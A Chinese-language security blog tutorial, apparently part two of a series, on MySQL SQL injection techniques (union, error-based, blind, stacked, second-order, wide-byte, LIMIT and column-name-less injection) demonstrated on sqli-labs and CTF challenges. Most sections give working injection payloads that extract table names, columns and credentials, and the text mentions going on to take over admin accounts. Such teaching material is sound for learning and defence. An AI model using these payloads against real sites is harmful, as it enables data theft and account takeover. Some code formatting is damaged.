浅谈SQL database的各种技巧(二)

admin 2023年3月12日20:39:32浅谈SQL database的各种技巧(二)已关闭评论41 views字数 4936阅读16分27秒阅读模式

前言

前面提了一些简单的存在的关系型数据库和非关系型数据库的种类,顺带着也包含有关于Mysql数据库的一些GETSHELL的方式方法,接下来继续提及一些有关于Mysql的注入方式方法

Mysql

基于union注入

  • 判断注入类型
  • 猜解字段数,使用order by语句
  • 进行查询 union select子句
流程

直接使用上面的方式判断注入类型为数字型注入

我们可以使用order by子句判断字段数量,也可以直接使用union select子句进行判断

  1. 使用order by

    浅谈SQL database的各种技巧(二)

  2. 当order by后的字段数大于实际字段数的时候就会报上图所示错误,所以此时的字段数为3
  3. 使用union select子句进行判断

    浅谈SQL database的各种技巧(二)

值得注意的是,在union select前面一定要让它错误(比如 0或者-1等等),不然联合查询不会生效
我们可以通过增加后面的1,2,3,4.....来一次判断字段数,在之后的回显就是这样判断的
这里的sqli-labs靶场中的回显是第二三字段

得到2, 3为回显位置

之后就可以查询数据库相关信息了

查看数据库用户和数据库名

浅谈SQL database的各种技巧(二)

查看数据库表

浅谈SQL database的各种技巧(二)

查看对应表的列名

浅谈SQL database的各种技巧(二)

查看相应列数据

浅谈SQL database的各种技巧(二)

之后就可以得到对应的账户加上密码,进入网站后台,getshell等等操作

基于报错的注入

报错注入在没法使用union联合查询的时候可以使用

报错注入就是利用了数据库的某些机制,人为的制造错误条件使得查询结果能够出现在错误信息中

mysql_version > 5.1.5

Xpath错误
use extractvalue

原型 extractvalue(xml_document, Xpath_string)

如果后面不满足xpath查询法就会报错

值得注意的是 extractvalue能够查询的字符串最大长度为32,超过32就需要使用substring等方法截取字符串,或者使用 limit进行分页读取

使用示例:

```

查询表名

id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
```

直接按照流程来就行了

use updatexml

原型updatexml(xml_document,xpath_string,new_value)

同样使得xpath语法不正确

id='and(select updatexml(1,concat('~',(select database())),1))

group_by()错误

这种注入方式主要因为order by x中的x是一个重复性的数据,导致了报错

示例:

'union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

简单解释一下,这里主要是对x进行分组操作,使用了重命名的方式

时间盲注

流程

判断注入点

1' and sleep(3)

正常延迟3s就证明存在注入点

这里主要是使用ascii()转为ascii值,之后通过分割字符串进行逻辑判断

?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(10))--+
?id=1' and if(ascii(substr(database(),1,1))>100,1,sleep(10))--+

布尔盲注

流程

这个和之前的时间盲注,我觉得是相似的手法,这里主要是通过回显页面来进行注入的,之间的时间盲注更加适用于没有回显的情况下

使用left, right函数判断

?id=1' and left(database())='s'--+
?id=1' and left(database())>'a'--+

使用like进行模糊匹配

?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like 'e%'--+

使用ascii函数进行字符分割判断

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115--+

堆叠注入

条件

想要使用堆叠注入的方式,就需要开启配置项,或者使用特定的函数

  1. 比如说在PHP中就需要使用 mysqli_multi_query函数来执行sql语句,才能进行堆叠注入
  2. 又或者在JAVA中需要在JDBC连接串中配置 allowMultiQueries属性,才能生效
流程

之后就可以按照正常的方式进行注入了

?id=1';show databases--+
?id=1';show tables--+

二次注入

在存在注入却没办法攻击的时候,可以考虑二次注入

原理

在进行数据库交互的时候使用了 addslashes或者 get_magic_quotes_gpc ,对 '等字符进行了转义处理,但是捏,在转义字符并不会插入数据库中

然后在第二次利用的时候,应用了危险的数据,在sql语句执行中造成了sql注入

实战

我们同样采用sqli-labs进行实验(Less-24)

打开环境之后是一个登陆框,存在,更改密码和创建用户的功能

我们在创建用户功能处进行sql语句的插入, 用户名使用 admin'#密码使用 123, 进行注册

浅谈SQL database的各种技巧(二)

尽管在后端使用了 mysql_escape_string进行了处理

浅谈SQL database的各种技巧(二)

但是仍然将数据写入成功

浅谈SQL database的各种技巧(二)

之后我们使用这个用户和密码登陆,默认会让你重置密码,这里将密码 123更新为 1234, 重置

之后我们发现真正的admin用的密码由 admin变成了 1234

浅谈SQL database的各种技巧(二)

为什么呢?因为在重置密码功能位置,没有对username的值进行处理,直接从session中提取的

浅谈SQL database的各种技巧(二)

之后我们就可以进行admin用户的登陆

当然其他攻击也是可以执行的

宽字节注入

条件
  1. 使用addslashes函数进行转义
  2. 数据库编码设置为GBK
原理

在输入 %df时,经过 addslashes转义变成 %df%5c%27,之后,在数据库查询前,因为设置了GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码成一个汉字。然后mysql服务器会对查询的语句进行GBK编码,%df%5c编码成了“运”,而单引号逃逸了出来,形成了注入

?id=-1%df' union select 1,2,3--+

other

limit注入

当可控点在limit语句之后的注入

在limit后面可以使用的函数有 into``procedure, into可以写入文件,procedure analyse()子查询可以使用 extractvalue benchmark进行注入

select * from users limit 0,1 union select * from users;

浅谈SQL database的各种技巧(二)

select * from users limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

无回显也可以使用延时盲注

select * from users limit 0,1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5,benchmark(5000000,sha(1)),1))))),1)

无列名注入

有时候会因为 information_schema库被ban掉,而无法使用,进而无法查找到表名和列名

  • 查表名

InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名

sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名

使用 innodb查表名

select group_concat(table_name) from mysql.innodb_index_stats where database_name=database()
seelct group_concat(database_name) from mysql.innodb_table_stats

或者使用 sys查表名

select group_concat(table_name) from sys.schema_auto_increment_columns where database_name=database()
select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()
sys.x$schema_table_statistics_with_buffer
sys.x$ps_schema_table_statistics_io

* 查列名
主要是因为通过无列名查询构造一个虚拟表,在构造此表的同时查询其中的数据
注: 进行查询时语句的字段数必须和指定表中的字段数一样,不能多也不能少,不然就会报错
例子:

``
select
2` from (select 1,2,3 union select * from xxx)n
## 这样就会查询第二列的内容

## 如果反引号被ban了,我们可以使用别名的方式利用
select b from (select 1 as a, 2 as b, 3 as c union select * from xxx)n
```

## [SWPU2019]Web1
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

当然还有另一种过滤了 union的无列名注入

[GYCTF2020]Ezsqli题目中

在数据库中,对于两个select字段的比较,是通过按位比较的,如果第一位两者相等,就继续比较接下来的字段,一直到某一个字段的值更大,就代表这个值更大

(select 'f') > (select 'fl') # 返回 0
(select 'zl') > (select 'fl') # 返回 1

假设爆破出来的表名是 xxx, 有两个字段,其中第二列是我们需要的数据

我们可以爆破数据

1^((1, 'flag') > (select * from xxx))

使用join也可以注入?

mysql> select _ from (select _ from users a join users b)c;#users是表名,
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select _ from (select _ from users a join users b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'username'
mysql> select _ from (select _ from users a join users b using(id,username))c;
ERROR 1060 (42S21): Duplicate column name 'password'

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月12日20:39:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈SQL database的各种技巧(二)http://cn-sec.com/archives/1599485.html